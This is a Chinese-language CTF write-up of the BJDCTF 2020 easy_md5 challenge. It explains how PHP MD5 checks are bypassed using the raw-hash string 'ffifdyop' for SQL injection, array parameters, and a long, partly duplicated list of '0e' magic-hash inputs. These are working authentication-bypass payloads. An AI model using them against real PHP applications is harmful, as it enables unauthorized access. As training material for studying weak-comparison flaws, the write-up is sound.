绕过MD5以及MD5碰撞

我们以nssctf上的一道题为例      BJDCTF 2020]easy_md5

打开题目,我们尝试一下万能密码,SQL注入都不行

绕过MD5以及MD5碰撞_第1张图片

 然后我们就抓包,或者是F12看看响应头里面有什么

绕过MD5以及MD5碰撞_第2张图片

 F12之后我们就发现响应头里面有sql语句hint

select * from 'admin' where password=md5($pass,true)

 首先我们就要了解一下MD5函数   MD5(string,raw)

string:要计算的字符串

raw:FLASE  32位16进制的字符串 ,  TRUE   16位原始二进制的字符串

所以我们只需知道哪些字符串返回的是16位原始二进制

当password=ffifdyop就满足这个条件

当我们输入ffifdyop发现页面跳转

绕过MD5以及MD5碰撞_第3张图片

 然后我们查看一下源代码

绕过MD5以及MD5碰撞_第4张图片

 要求我们以get的方式传入a和b,但是a和b的值不相等,md5的值却要相等

我们这里可以MD5碰撞(MD5值以0e开头)也可以用php数组绕过

第一种方法php数组绕过

/levels91.php?a[]=1&b[]=2  

即a不等于b

第二种方法MD5碰撞

现列举常见的MD5碰撞

s878926199a                       //原始字符串
0e545993274517709034328855841020  //md5值
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787

我们随便用一个就可以了

/levels91.php?a=s1836677006a&b=s1665632922a

然后页面就会发生跳转

绕过MD5以及MD5碰撞_第5张图片

 这里与上面就不同了,上面是俩个等号是弱类型比较,这里是三个等号是强类型比较

也就是说我们要求这俩个参数的值强不相等 ,但是这俩个参数的MD5却要强相等

我们这里就不能用MD5碰撞,只能继续用数组绕过

绕过MD5以及MD5碰撞_第6张图片

 我们要区别的是弱类型比较和强类型比较,它们俩个都是可以用数组绕过

你可能感兴趣的:(php)